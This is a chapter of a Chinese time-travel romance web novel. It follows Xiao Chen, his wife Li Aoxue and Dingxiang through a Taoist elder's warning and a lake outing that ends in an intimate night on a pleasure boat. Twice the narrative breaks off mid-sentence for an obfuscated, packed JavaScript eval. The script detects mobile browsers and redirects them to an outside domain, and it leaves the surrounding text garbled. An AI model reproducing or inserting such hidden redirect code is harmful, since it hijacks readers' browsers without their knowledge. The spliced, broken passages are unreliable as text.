可现在说什么都晚了。这具身体已经不属于他,眼前的幸福也与他无关。他只能眼睁睁看着,看着肖晨替他活出了更好的样子,护着他曾经抵触、甚至不屑的人,把他曾经嫌弃的日子,过成了最安稳的模样。 最后,原身的意识带着深深的怅然,渐渐淡去——或许,让肖晨接手这具身体,才是对李傲雪、对肖家,最好的结局。 城郊的青云观里,青烟袅袅,香炉中燃着的线香散出淡淡的檀香,绕着窗棂飘向庭院。白发老者坐在蒲团上,指尖捏着一枚龟甲,目光落在案上摊开的罗盘——罗盘指针微微颤动,映出原身肖晨那缕渐渐平和的魂息,老者嘴角勾起一抹浅淡的笑意。 “执念了这么久,总算肯松口了。”老者轻声呢喃,指尖轻轻拂过龟甲上的纹路,眼底映出原身方才那番悔意。他自然看得清,原身望着李傲雪时的惊艳、望着肖晨护妻时的自惭,还有想起丁香时那几分松动的偏见——那缕曾满是不甘与抵触的魂息,此刻正慢慢变得澄澈,像是解开了缠了许久的绳结。 只是老者微微摇头,目光望向窗外的流云,语气带着几分悲悯:“可惜啊,你虽释怀,却不知有些缘分,从一开始就定了数。” 他想起多年前,李傲雪的父亲曾带着年幼的她来观中问命。那时罗盘指针便绕着“肖”字打转,却始终与原身的命盘错开半分,反倒是与一个“异世魂”的虚影隐隐相扣。老者当时只道“缘在他乡,不在故识”,如今看来,果然应在了穿越而来的肖晨身上。 原身总以为,自己若当初肯睁眼看看李傲雪,便能守住这桩婚事,却不知李傲雪的性子,最厌的便是他那份被规矩束缚的怯懦。她要的从不是“门当户对”的空壳,而是能与她并肩、敢为她撑腰的担当——这恰恰是原身没有,却被穿越后的肖晨牢牢攥在手里的东西。哪怕原身当初没有抵触,日子久了,李傲雪也会因他的懦弱、因他对旁人的偏见而心寒,这份缘分终究走不长远。 更别说丁香了。老者想起肖晨护着丁香反驳肖母时的模样,眼底多了几分暖意。原身始终跨不过“出身”那道坎,觉得丁香会坏了门风,却忘了“人心”才是最该看重的。丁香的坚韧与善良,唯有肖晨这般见过异世百态、抛得下刻板偏见的人,才能懂得珍惜。若是换作原身,即便丁香进了门,也只会在他的冷待与肖母的刻薄中,渐渐磨去所有光亮,最终落得个凄凉下场。 “你以为是肖晨抢了你的人生,却不知是他替你接住了本该错位的缘分。”老者拿起案上的茶杯,抿了一口温热的茶水,“李傲雪的归宿从不是‘肖家大少奶奶’这个头衔,而是能护她、懂她的人;你的遗憾,也从不是没娶到李傲雪,而是你从未有过直面真心的勇气。” 窗外的风卷起几片落叶,飘进道观,落在罗盘旁。原身那缕魂息似乎感应到了什么,在空气中轻轻晃了晃,彻底没了之前的不甘,化作一道轻烟,慢慢融入了庭院的晨光里——他终究是彻底释怀了,哪怕到最后,也没弄明白那份“错过”从不是偶然。 老者看着罗盘指针归于平静,轻轻合上眼。世间缘分本就如此,不是你以为“该是你的”,就一定能留住;也不是你以为“不该有的”,就一定是错的。像肖晨、李傲雪与丁香这样,跨过时空、抛开偏见,彼此珍惜,才是缘分最好的模样。 老者离开青云观,一路下山,直奔京城肖府。到了府门前,他对守门的仆役阿成道:“劳烦通报一声,就说青云观的老道,求见肖府少夫人李傲雪。” 阿成认得这位曾来过府里的老者,不敢怠慢,连忙快步跑进内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211295|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院通报。李傲雪正在房里和丁香一起整理新布料,听闻老者求见,心里微微一怔——上次老者来,只留下几句模棱两可的话,如今又特意来找自己,不知有何事。 她连忙起身,对丁香道:“妹妹先在房里等着,我去见一见老先生。”说罢,便快步往府门走去。 刚到门口,就见老者背着布囊,站在石阶旁,神色比上次多了几分凝重。李傲雪上前,恭敬地行了一礼:“老先生,不知您今日找我,有何吩咐?” 老者看着她,开门见山问道:“少夫人,这些日子,肖大人待你如何?” 李傲雪愣了愣,随即温声道:“少爷待我极好,体贴入微,凡事都与我商量,从未让我受过半分委屈。”说起肖晨,她眼底不自觉地泛起暖意。 老者点了点头,语气却突然变得严肃,盯着她的眼睛,一字一句道:“既如此,你一定要记好我今日的话——务必保护好肖晨的手,千万不能让他的手受伤,尤其是写字的右手。” 李傲雪心里一紧,连忙追问:“老先生,这是为何?少爷的手怎么了?” “他的手,关系到你们的缘分。”老者声音压得更低,“肖晨是靠笔杆子立足的,若是他的手伤了,拿不起笔,不仅会误了他的仕途,你们之间的缘分,也会断得干干净净——到那时,你会彻底失去他。这话,你一定要切记,万万不可大意!” 这番话听得李傲雪心头发慌,她虽不完全明白其中的缘由,却能感受到老者语气里的郑重。她用力点头,将这话牢牢记在心里:“老先生放心,我定会照您的话做,拼尽全力护好少爷的手,绝不让他受伤。” 老者见她神色坚定,这才缓了缓语气:“你是个聪慧通透的姑娘,肖晨能有你在身边,是他的福气。记住,无论何时,都要护好他的手,这是你们能安稳走下去的关键。” 说完,老者不再多言,背着布囊转身便走,很快消失在街角。 李傲雪站在府门前,心里久久不能平静。她攥紧手心,快步往回走——她要立刻告诉肖晨这件事,更要叮嘱府里的人,往后无论肖晨读书、写字,还是处理杂事,都要格外留意他的手,绝不能让老者的话应验。 回到院子时,肖晨正坐在廊下看书,见她神色慌张,连忙起身问道:“傲雪,怎么了?老先生跟你说什么了?” 李傲雪快步走到他身边,握住他的右手,语气急切:“少爷,方才老先生特意叮嘱我,让我一定要护好你的手,说若是你的手受伤、拿不起笔,我就会彻底失去你!咱们往后一定要格外小心,绝不能让你的手出事!” 肖晨看着她紧张的模样,心里又暖又奇——他虽不明白老者为何会这么说,却知道李傲雪是真心为自己担心。他反手握住她的手,笑着安抚:“别慌,我会注意的。有你这么上心护着我,我的手肯定不会有事。” 可他心里却忍不住犯嘀咕——老者的话,难道和自己穿越的秘密有关?若是手真的伤了,拿不起笔,无法处理公务,无法留在这个时代……那后果,确实不敢想。 一旁的丁香也凑过来,担忧地说:“公子,以后你写字久了,我就提醒你歇歇;出门在外,我也帮你留意着,绝不让人碰到你的手。” 看着两人真切的担忧,肖晨心里满是暖意。他知道,有她们在身边护着自己,无论未来有什么变数,他们都能一起扛过去。而老者的提醒,也让他更加明白——眼前的幸福来之不易,必须好好守护,绝不能因为疏忽而失去。 肖晨握着李傲雪的手,虽笑着安抚,心里却始终存着一丝疑惑——他只当老者的叮嘱是怕自己伤了手误了仕途,却从没想过背后藏着更深的缘由。他不知道,自己穿越而来的契机,本就与“画”和“李傲雪”紧紧绑在一起。 前世的他,最擅长的便是作画,指尖握着画笔时,总能勾勒出世间万千风景;而李傲雪的命格,恰如一道“锚”,悄无声息地将他的魂魄系在了这个时代。若是他的手真的受了重伤,再也握不住笔、无法作画,维系魂魄的纽带便会断裂;再没了李傲雪这道“锚”的牵引,他的魂魄便会像断了线的风筝,不由自主地被拉回现代,再也无法留在这个有她、有丁香的地方。 他更不知道,自己能在两个时空的缝隙里停留,靠的从来不是偶然——是画笔赋予的执念,是李傲雪命格的羁绊,两者缺一不可。一旦没了作画的能力,没了这份羁绊,他与这个时代的所有联系,都会彻底斩断。 李傲雪见他若有所思,还以为他在担心手伤的事,又握紧了几分,轻声说:“少爷放心,往后府里的事,我多担些,你别总熬夜批公文、练书法,咱们慢慢调理,定能护好你的手。” 丁香也跟着点头:“是啊公子,我还学着做了护手的药膏,晚上给你涂上,保准你的手软软的,不会受伤。” 肖晨看着两人真切的模样,心头的疑惑渐渐被暖意覆盖。他笑着点头:“好,都听你们的。有你们在,我什么都不怕。” 他抬手,轻轻拂过自己的右手——这双手,不仅能握笔批文、书写家书,还能为她们描眉、替她们挑拣布料。他只当要护着这双手,是为了守住眼前的安稳,却不知,这双手背后,藏着他能否留在这个时代的关键。 而此刻,城郊青云观里,老者望着京城的方向,轻轻叹了口气。有些真相,不能说破——说了,只会徒增肖晨的惶恐,扰了三人的安稳。唯有让李傲雪记着这份叮嘱,牢牢护住那双手,才能让这份跨越时空的缘分,继续安稳地走下去。 毕竟,只有肖晨留在这儿,李傲雪才能守住她的幸福,丁香才能拥有她的依靠,这个家,才是完整的家。 74.你别闹了,求放过 晚膳时,肖晨看着桌上热气腾腾的饭菜,见李傲雪和丁香还在低声讨论着新布料的绣样,忽然放下筷子,笑着开口:“这些日子忙着吏部的事,总没好好陪你们。我打算明天给吏部递个假,请两天闲,带你们去城外的镜湖游湖散心,怎么样?” 这话一出,饭厅里瞬间静了下来。李傲雪手里的筷子顿在半空,眼里满是惊喜,几乎不敢相信自己的耳朵:“少爷……真的吗?我们真能一起去游湖?”她自嫁过来,除了偶尔跟着肖晨去街上采买,还从未出过远门游玩,镜湖的名声她早有耳闻,却一直没机会去。 丁香更是激动得脸颊泛红,放下碗就凑到肖晨身边,小声追问:“公子,那我们什么时候出发呀?是明天一早就走吗?要不要提前跟厨房说,准备些路上吃的点心?”她眼里闪着光,满是对出游的期待。 肖晨看着两人雀跃的模样,心里暖暖的,伸手揉了揉丁香的头发:“别急,明天我先去吏部递假,若是批得快,咱们午后就出发。东西不用带太多,你们各收拾两三身换洗衣物,再拿些常用的帕子、梳子,路上吃的点心让厨房准备些桂花糕、杏仁酥就行,镜湖附近有客栈,其他的到了再买也来得及。” 他顿了顿,又想起什么,补充道:“对了,镜湖边上风大,你们记得多带件薄披风,免得傍晚着凉。还有傲雪,你若是怕晕船,待会儿让厨房煮些生姜水,装在瓷壶里带着,路上喝能舒服些。” 李傲雪听他考虑得这般周全,心里满是暖意,笑着点头:“好,我都记着了。待会儿我就去收拾东西,再跟厨房说一声,让他们准备点心和生姜水。” 丁香也连忙应下:“我也去!我帮少夫人一起收拾,还能把公子的换洗衣物也整理好——公子的笔墨要不要带?若是在湖边想写字,也能用上。” 肖晨看着她细心的模样,忍不住笑了:“带两支笔、一叠宣纸就行,咱们是去散心的,不用带太多东西累着。” 晚膳过后,李傲雪和丁香就忙着收拾行李。李傲雪打开衣柜,仔细挑选着衣物——选了件天青色的襦裙,配淡紫色的披风,又给丁香挑了件粉色的,想着两人穿得鲜亮些,拍照(虽然没有相机,但可以用画记录)也好看;丁香则小心翼翼地把肖晨的衣物叠好,又把生姜水倒进瓷壶,用棉絮裹好放进包袱,连肖晨常用的那支狼毫笔,都特意用锦盒装好。 肖晨坐在一旁看着她们忙碌,手里捧着本书,却没怎么看得进去——目光总忍不住落在两人身上,听着她们小声讨论“带不带绣花针”“要不要多装两块点心”,心里满是安稳。他想起现代时,总一个人对着电脑加班,连出门散心都没人陪伴,再看看眼前的景象,只觉得此刻的幸福,比任何功名都珍贵。 等两人收拾完,包袱整整齐齐摆在桌上,李傲雪才走过来,坐在肖晨身边:“都收拾好了,明天就等你批假回来,咱们就能出发了。” 肖晨握住她的手,又拉过丁香,笑着说:“好,明天咱们早点走,争取赶在日落前到镜湖,看看湖边的晚霞——我听说,镜湖的晚霞映在水里,像铺了一层碎金,好看得很。” 丁香靠在他胳膊上,眼里满是憧憬:“真的吗?那我一定要好好看看!还要让公子把晚霞画下来,咱们留作纪念。” “好,都依你。”肖晨笑着应下。窗外的月光洒进来,落在三人交握的手上,暖融融的。 第二天天刚亮,肖晨就起身去了吏部。或许是最近公务处理得妥当,管事的大人没多问便批了假。他揣着假条快步回府,一进门就对着内院喊:“傲雪、丁香,假批下来了,咱们现在就出发!” 李傲雪和丁香早收拾妥当,听到声音立刻提着包袱出来,脸上满是雀跃。仆役把行李搬上提前备好的马车,三人坐进车厢——肖晨坐在中间,李傲雪和丁香一左一右,车厢里放着厨房准备的点心匣子,还飘着淡淡的生姜水香气。 马车轱轱驶离京城,一路往镜湖去。窗外的景色从热闹的街巷变成郊外的田野,绿油油的麦田随风起伏,偶尔能看到田间劳作的农人。丁香扒着车窗看得入神,时不时指着远处的飞鸟喊“公子你看”;李傲雪则靠在车壁上,偶尔和肖晨聊几句,眼底满是对镜湖的期待。 约莫两个时辰后,马车停在镜湖边。肖晨先下车,伸手扶李傲雪和丁香下来——刚站稳,就见一片清澈的湖水铺在眼前,远处的青山倒映在水里,连空气都带着水汽的清甜。 “这就是镜湖吗?真好看!”丁香忍不住感叹,伸手想去碰湖边的水。 肖晨笑着点头,转身对不远处的船夫招手——他早就托人订了一艘豪华画舫,船身雕着精致的花纹,船舱里摆着桌椅,还挂着轻纱帘子。船夫帮着搬上行李,三人依次上船。 刚上船时,画舫轻轻晃了晃,李傲雪没站稳,下意识抓住肖晨的胳膊,脸色微微发白:“这船……怎么总晃?”她自小在京城长大,很少坐船,一时间有些不适应。 肖晨连忙扶着她坐下,替她倒了杯温水:“别急,慢慢就习惯了。你先坐着歇会儿,我让船夫开慢些。” 一旁的丁香却格外自在,她以前在花船附近的河边坐过小船,早就适应了摇晃的感觉。见李傲雪紧张,她还笑着递过一块桂花糕:“少夫人,你吃块点心缓缓,这船很稳的,你看外面的风景多好看呀!” 李傲雪接过点心,咬了一小口,又顺着丁香指的方向看向窗外——船夫正缓缓划着桨,画舫贴着湖面移动,岸边的柳树垂着枝条,偶尔有小鱼从水里跃出,溅起一圈圈涟漪。渐渐的,她也放松下来,不再觉得晕船,眼里也泛起了笑意。 肖晨见她适应了,心里松了口气,起身推开船舱的窗:“你们看,前面就是湖心亭的方向,听说那边的水最清,还能看到水里的荷花苞。” 丁香凑到窗边,眼睛亮晶晶的:“真的吗?那咱们快过去!我还没见过湖里的荷花呢!” 李傲雪也跟着点头,嘴角噙着笑:“好啊,正好看看这镜湖的风光,也不枉咱们来这一趟。” 船夫应了声,调整方向往湖心划去。 画舫划到湖心,周围渐渐热闹起来——一艘艘装饰精致的游船错落散开,有的船上飘着丝竹声,有的传来文人雅士的吟诗作对声,还有些船上传出男女嬉笑的喧闹,显然是有人在船上寻欢作乐。 肖晨扶着船舷,笑着感慨:“没想到湖心这么热闹,这么多游船,看来咱们真是来对了,能好好凑个热闹。” 李傲雪也靠在一旁,看着眼前的景象,眼底满是新奇:“是啊,以前只在话本里读过‘湖上泛舟’的场景,今日亲眼见到,才知这般有趣。你看那边的船上,好像还在弹琴呢。” 两人说着话,都没注意到身后的丁香悄悄退到了船舱角落。她看着那些灯火通明、人影晃动的游船,尤其是看到有女子在船头陪客说笑时,指尖不由自主地攥紧了衣角——那些画面,像针一样扎进她心里,瞬间勾起了她在花船时的记忆:也是这样摇晃的船,也是这样刻意的笑,也是这样要对着陌生人陪酒、说些违心的话。 那时的她,每天都活在小心翼翼里,生怕哪句话说错、哪个动作不对,就会惹来客人的不满。此刻再看到相似的场景,那种压抑、不安的感觉又涌了上来,让她浑身不自在,连呼吸都变得有些急促。 她悄悄抬头,想对肖晨说些什么,却见他正和李傲雪兴致勃勃地讨论着远处的湖心亭,两人脸上满是欢喜,完全没注意到她的异样。丁香把话又咽了回去——她不想扫了两人的兴,更不想让肖晨知道,自己又想起了那些不堪的过去。 肖晨聊了一会儿,才发觉身后没了动静,转头一看,只见丁香低着头站在角落,脸色有些苍白。他心里一紧,连忙走过去,轻轻握住她的手:“丁香,怎么了?是不是哪里不舒服?” 他的手温暖又有力,让丁香紧绷的身体稍稍放松。她抬起头,勉强笑了笑:“没、没什么,公子,我就是……有点晕船。” 肖晨皱了皱眉,伸手摸了摸她的额头:“不烫啊,刚才不是还好好的吗?是不是风吹着了?”说着,他把自己的披风解下来,裹在丁香身上,又拉着她坐到船舱里的软榻上,“你先在这儿歇会儿,我去让船夫把船往安静点的地方划,别在这热闹处挤着了。” 李傲雪也走了过来,看着丁香发白的脸色,关切地说:“妹妹要是不舒服,咱们就去那边的芦苇荡附近,那里人少,也安静。我这里还有薄荷糖,你含一块,能舒服些。” 看着两人真切的关心,丁香鼻子一酸,眼眶微微泛红——她知道,自己再也不是以前那个只能在花船上强颜欢笑的女子了,现在的她,有肖晨护着,有李傲雪陪着,不用再看别人的脸色过日子。 她轻轻点了点头,小声说:“谢谢公子,谢谢少夫人。我没事,就是刚才看到人多,有点慌神。咱们去安静点的地方就好。” 肖晨摸了摸她的头,语气温柔:“好,咱们这就去安静的地方。以后要是不舒服,别瞒着我,知道吗?” 他转身对船夫吩咐了几句,画舫慢慢驶离热闹的湖心区域,往湖边的芦苇荡划去。随着周围的喧闹渐渐散去,只剩下船桨划水的声音和风吹芦苇的沙沙声,丁香的脸色也渐渐恢复了红润。 肖晨坐在她身边,给她递了杯温水;李傲雪则坐在对面,跟她讲着刚才看到的趣事。阳光透过轻纱帘子洒进来,落在三人身上,温暖又安稳。丁香看着身边的两人,心里暗暗告诉自己——过去的已经过去了,现在的幸福才最重要,她要好好享受这一刻,不再被那些不好的回忆牵绊。 画舫缓缓划入芦苇荡,成片的芦苇在风里轻轻摇曳,翠绿的芦叶擦着船身,发出沙沙的轻响。肖晨靠在船舷上,看着眼前的景象,耳旁不自觉响起现代那首《让我们荡起双桨》的旋律——“让我们荡起双桨,小船儿推开波浪”,歌词里的画面,竟和此刻的镜湖、芦苇、游船完美重合,温馨又惬意。 他正出神,肩上忽然落下一只温软的手,李傲雪的声音在耳边响起:“少爷,你在想什么呢?从刚才就一直盯着芦苇荡发呆。” 肖晨回过神,转头对上她含笑的眼睛,笑着岔开了关于歌曲的话题——总不能说自己在想异世的歌:“没什么,就是在想,咱们晚上睡在哪里。这画舫看着宽敞,不知道能不能住下咱们三个。” 李傲雪闻言,脸颊微微泛红,却还是大胆地凑近了些,声音带着几分羞涩:“咱们就睡在船上呀。我听船夫说,这艘画舫的里间有张软榻,足够咱们三个歇着。再说……”她抬头看了肖晨一眼,眼底满是柔情,“我还想体验一次,跟少爷一起睡在船上的感觉呢,听着湖水的声音入眠,肯定很特别。” 一旁的丁香也跟着点头,眼里闪着期待:“我也想!以前在院子里,只能听着风声睡,现在能跟公子在船上一起睡呢,就更好了。” 肖晨看着两人雀跃的模样,心里一暖,伸手揽住她们的肩:“好啊,那咱们今晚就住船上。待会儿让船夫多准备些被褥,再弄些热水,晚上咱们还能在船上吃点东西,看看夜景。” 李傲雪笑着应下,转身去跟船夫交代;丁香则拉着肖晨的手,跑到船尾看湖水——清澈的湖水里能看到小鱼游过,偶尔还有蜻蜓点水,溅起小小的水花。 肖晨看着丁香蹦蹦跳跳的背影,又望向远处正在和船夫说话的李傲雪,心里满是安稳。他想起现代时,独自住在出租屋里,连个说话的人都没有,哪有这般有人陪、有人盼的日子? 等李傲雪回来,船夫已经开始收拾里间的软榻,还搬来了干净的被褥。肖晨让两人在船舱里歇着,自己则走到船头,看着夕阳慢慢沉向远山——橘红色的晚霞洒在湖面上,真的像铺了一层碎金,和他昨晚说的一模一样。 “公子,你快来看!晚霞好漂亮!”丁香的声音从身后传来。 肖晨转身,只见李傲雪和丁香站在船舱门口,正对着晚霞招手。他笑着走过去,伸手牵住两人的手,一起望着眼前的美景。 夕阳彻底沉下,夜幕慢慢笼罩镜湖。肖晨搬了张矮桌放在船头,又摆上点心和茶水,三人围坐在一起,抬头就能看到天上渐渐亮起的星星。 晚风拂过,带着湖水的凉意,肖晨裹紧了两人的披风,笑着问道:“这晚上看星星,你们想看什么星星?” 李傲雪抬头望着星空,眼里满是憧憬,轻声说:“我想看织女星。小时候娘给我讲牛郎织女的故事,说他们隔着银河相望,每年只能见一次,我总觉得他们的爱情又浪漫又深情。” 丁香也跟着点头:“我也听过这个故事,织女姐姐好可怜,只能一年见牛郎哥哥一次。” 肖晨却轻轻摇了摇头,语气带着几分认真:“我倒不喜欢这个故事。你们想啊,牛郎明明看到织女在洗澡,不仅不避开,还偷偷拿走人家的衣服,逼着织女没办法只能跟他走——这哪是正常人干的事?说难听点,这跟耍流氓、强留人家有什么区别?” 李傲雪愣了愣,下意识反驳:“可故事里说,他们是真心相爱的呀?” “真心相爱也不能忽略开头的荒唐啊。”肖晨端起茶杯喝了一口,继续说道,“织女本是天上的仙女,有自己的生活,却因为衣服被拿,被迫留在凡间嫁给牛郎。这要是放在现实里,不就是借着把柄强迫别人,甚至算得上‘拐卖’了吗?这样建立在强迫和不尊重上的关系,就算后来有了感情,也总觉得不对劲,哪有什么值得喜欢的?” 这番话让李傲雪和丁香都沉默了——她们从小听的都是故事里“浪漫深情”的版本,从没想过这层道理。过了一会儿,李傲雪才轻轻点头:“少爷这么一说,好像确实是这样。以前只觉得他们分离可怜,却没想着开头的事本就不对。” 丁香也小声说:“是啊,要是有人偷偷拿了我的东西,逼着我跟他走,我肯定会害怕,才不会觉得浪漫呢。” 肖晨见她们听进去了,语气软了下来,伸手揉了揉丁香的头发:“所以啊,真正的好感情,从来不是靠强迫和算计来的。像咱们现在这样,彼此愿意留在对方身边,有什么事都一起商量,互相尊重,这才是让人安心的日子。” 他抬头望向星空,指着远处一颗明亮的星星:“你们看那颗星,叫启明星,每天早上最先亮,晚上最后暗,不像牛郎织女那样隔着银河,却能安安稳稳地挂在天上,陪着夜空。我觉得这样的安稳,比那种轰轰烈烈却满是缺憾的‘爱情’,好多了。” 李傲雪顺着他指的方向看去,眼里渐渐没了之前对牛郎织女的憧憬,多了几分认同:“少爷说得对,安稳的陪伴,才是最难得的。就像咱们现在这样,能一起看星星、聊聊天,不用隔着什么‘银河’,这样就很好。” 丁香靠在肖晨肩上,小声说:“我也觉得现在最好,有公子和少夫人在,比听任何故事都开心。” 肖晨看着两人若有所思的模样,又接着说道:“其实故事也不是不能听,能图个热闹,但听完得学会分辨是非,不能光盯着里面的‘爱情’忽略了道理。就像咱们过日子,哪有故事里那么多轰轰烈烈?更多的是柴米油盐、琐碎小事——以前我见过不少男女,明明有情分,却因为家里穷、吃不上饭,最后只能分开;还有些女人,宁愿去做破坏别人家庭的事,也不想嫁给踏实过日子的人,说到底,都是被现实或者歪心思迷了眼。” 这话一出口,李傲雪和丁香都愣住了。她们听不懂“当三”是什么意思,也没法理解“贫困分开”的无奈——在这个时代,女子大多依附着男子生活,婚姻多由父母做主,哪有那么多“有情分却分开”的选择? 丁香琢磨了半天,只抓住了自己能懂的部分,小声说:“公子,你是说……有女人去勾引别人家的丈夫吗?要是这样的话,确实不妥,按咱们这儿的律法,要是犯了‘通奸’的罪,严重的是要被烧死的,太吓人了。” 李傲雪也点头附和:“是啊,咱们妇道人家,最该守的就是本分,破坏别人的家庭,不仅要受律法制裁,还要被人戳脊梁骨,这辈子都抬不起头。只是……你说的‘贫困分开’,还有那个‘当三’,我实在没太听懂。” 肖晨这才反应过来,自己又带出了现代的说法, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241761|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙解释:“‘当三’就是我刚才说的,去勾引有妻子的男人,破坏别人的家庭;至于‘贫困分开’,就是家里太穷,连饭都吃不上,就算两个人心里有对方,也没办法好好在一起,最后只能分开。” 他怕两人还是不懂,又举了个简单的例子:“就像村里的一对男女,本来想成亲,可男方家连彩礼都拿不出,连住的房子都漏雨,女方父母不同意,最后只能各自嫁给别人、娶别人,这就是因为穷分开了。” 李傲雪这才明白过来,轻轻叹了口气:“原来是这样。确实,日子要是过不下去,再深的情分也难维持。不过咱们家现在好好的,不用愁这些。” “是啊,咱们不用愁。”肖晨握住两人的手,语气坚定,“我会好好做官,把家里的日子过好,不会让你们受穷,更不会让你们遇到那些糟心事。咱们只要守着彼此,好好过日子,比什么都强。” 丁香靠在他肩上,笑着点头:“嗯!有公子在,咱们肯定能一直好好的。” 夜色渐深,湖面上的风更凉了些。肖晨起身,扶着两人往船舱里走:“天晚了,风大,咱们回舱里歇着吧,明天早上还能看湖上的日出呢。” 船舱里点着一盏琉璃灯,暖黄的光透过薄纱灯罩,洒在铺着锦缎的软榻上。肖晨帮着两人卸下钗环,又褪去外衫,三人挤在软榻上——软榻虽宽敞,却也容不得太多空隙,他刚躺下,李傲雪就从身后轻轻环住他的腰,脸颊贴在他的背上,发丝带着淡淡的兰花香,蹭得他脖颈发痒。 “少夫人,你也挤过来啦?”丁香笑着,也从另一侧凑过来,手臂轻轻搭在肖晨的胳膊上,身子挨着他的肩,像只温顺的小猫。 肖晨被两人夹在中间,连翻身都难,只能无奈地笑:“你们俩再挤,我就要掉下去了。”他本想闭眼歇会儿,缓解白天赶路的疲惫,可下一秒,李傲雪的指尖就轻轻划过他的腰侧,带着几分痒意;丁香也没闲着,小手在他的手腕上轻轻摩挲,像在玩闹。 “别闹,我困了。”肖晨按住两人不安分的手,声音里带着几分困意。 李傲雪却不依,从身后抬起头,温热的气息喷在他的耳后:“少爷这是害羞了?”话音刚落,她便凑上前,唇轻轻落在他的耳垂上,带着几分试探的柔软。肖晨的身子瞬间僵了一下,还没等他反应,李傲雪的吻又往下移,落在他的脖颈处,带着细碎的轻咬,比平日里的端庄多了几分娇憨的大胆。 丁香坐在一旁看着,眼睛渐渐亮了——她从未见过这样的李傲雪,没有了往日的温婉克制,眼底满是藏不住的情意,连动作都带着几分主动的热烈。她犹豫了片刻,也学着李傲雪的样子,轻轻凑到肖晨的另一侧脸颊,小心翼翼地落下一个吻,像蝴蝶点水般轻柔,却带着十足的认真。 “你们……”肖晨刚想开口,就被李傲雪的吻堵住了唇。她的吻不像刚才那般轻柔,带着几分急切的缠绵,舌尖轻轻撬开他的齿关,让他连呼吸都乱了节奏。肖晨的手不自觉地环住她的腰,感受着她身上的温热,而丁香也没停下,小手轻轻抚上他的胸膛,指尖带着几分笨拙的温柔,却格外勾人。 琉璃灯的光渐渐暗了些,船舱里只剩下彼此的呼吸声,还有偶尔溢出的细碎轻吟。李傲雪像解开了束缚般,褪去了最后的矜持,从身后拥着他时,指尖会轻轻描摹他的腰线,吻他时会带着几分撒娇的黏腻,一次又一次地缠着他,连眼神都泛着水润的亮,完全没了平日里主母的端庄模样。 丁香坐在一旁看着,脸颊早已红透,却舍不得移开目光——她看着李傲雪吻得动情,看着肖晨从最初的无奈到渐渐沉沦,看着两人交缠的身影在灯光下泛着柔和的光晕,心里既有些羡慕,又有些紧张,小手紧紧攥着锦被,指尖都泛了白。直到李傲雪停下来,靠在肖晨的肩上喘息,她才敢凑上前,轻轻帮肖晨理了理凌乱的衣领,声音细若蚊蚋:“少夫人……你刚才……好不一样。” 李傲雪闻言,脸颊更红了,却还是伸手握住丁香的手,拉着她凑到肖晨身边:“傻丫头,喜欢就别躲着。”她说着,又看向肖晨,眼底满是笑意,“少爷,你还困吗?” 肖晨看着两人眼底的情意,无奈地叹了口气,却伸手将她们都揽进怀里,让李傲雪靠在他的胸前,丁香贴着他的肩:“现在不困了。”他低头吻了吻李傲雪的额头,又揉了揉丁香的头发,“不过你们再闹,明天早上可起不来看日出了。” 李傲雪笑着点头,却没松开环着他腰的手:“知道啦,咱们不闹了,陪少爷睡觉。”丁香也跟着点头,乖乖地闭上眼,将脸埋在他的肩窝处,呼吸渐渐变得平稳。 肖晨感受着怀中人的温热,听着身边两人均匀的呼吸声,还有窗外传来的湖水轻响,心里满是安稳。他轻轻闭上眼,指尖在两人的背上轻轻拍着,像在哄孩子入睡。 夜色渐深,湖面上的风裹着水汽,轻轻拍打着船身,发出“哗啦”的轻响,像天然的摇篮曲。肖晨怀里的两人呼吸渐渐平稳,李傲雪的头靠在他胸口,发丝蹭得他皮肤发痒;丁香的手还攥着他的衣袖,小脸埋在肩窝处,嘴角带着浅浅的笑意。 他僵着身子不敢动,怕惊扰了两人的好梦,只能睁着眼看着舱顶的纱帐,鼻尖萦绕着两人身上淡淡的香气——李傲雪的兰花香,丁香的桂花糕甜香,混在一起,格外安心。想起刚才的热闹,他忍不住勾了勾嘴角:往日端庄的李傲雪,竟也有那般娇憨大胆的模样;一向 shy 的丁香,也敢主动凑上来吻他,这些细碎的瞬间,比任何情话都更让人心动。 不知过了多久,肖晨也渐渐生出困意,眼皮越来越重,迷迷糊糊间,竟梦到了现代的出租屋——狭小的房间里,只有一盏台灯亮着,他对着电脑赶方案,手边的咖啡早已凉透。正觉得孤单时,李傲雪突然推门进来,端着一碗热粥;丁香也跟在后面,手里拿着刚烤好的小饼干,笑着说“公子,别忙了,吃饭啦”。他猛地惊醒,才发现是梦,低头一看,怀里的两人还安稳地睡着,李傲雪的手还轻轻搭在他的腰上。 “还好不是真的。”肖晨小声呢喃,伸手轻轻拂去李傲雪额前的碎发,指尖触到她温热的皮肤,心里满是庆幸——幸好他穿越到了这里,幸好遇到了她们,不然哪能有这样被人牵挂的日子。 天快亮时,湖面上泛起一层薄雾,透过船舱的窗棂飘进来,带着淡淡的凉意。李傲雪先醒了,迷迷糊糊地睁开眼,看到肖晨正看着自己,脸颊瞬间泛红,小声说:“少爷,你醒这么早?” “刚醒没多久。”肖晨笑着,帮她拢了拢滑落的披风,“外面好像有雾,待会儿日出应该会很好看。” 两人的说话声吵醒了丁香,她揉着眼睛坐起来,看到窗外的薄雾,惊喜地说:“哇,好大的雾!公子,咱们快出去看日出吧!” 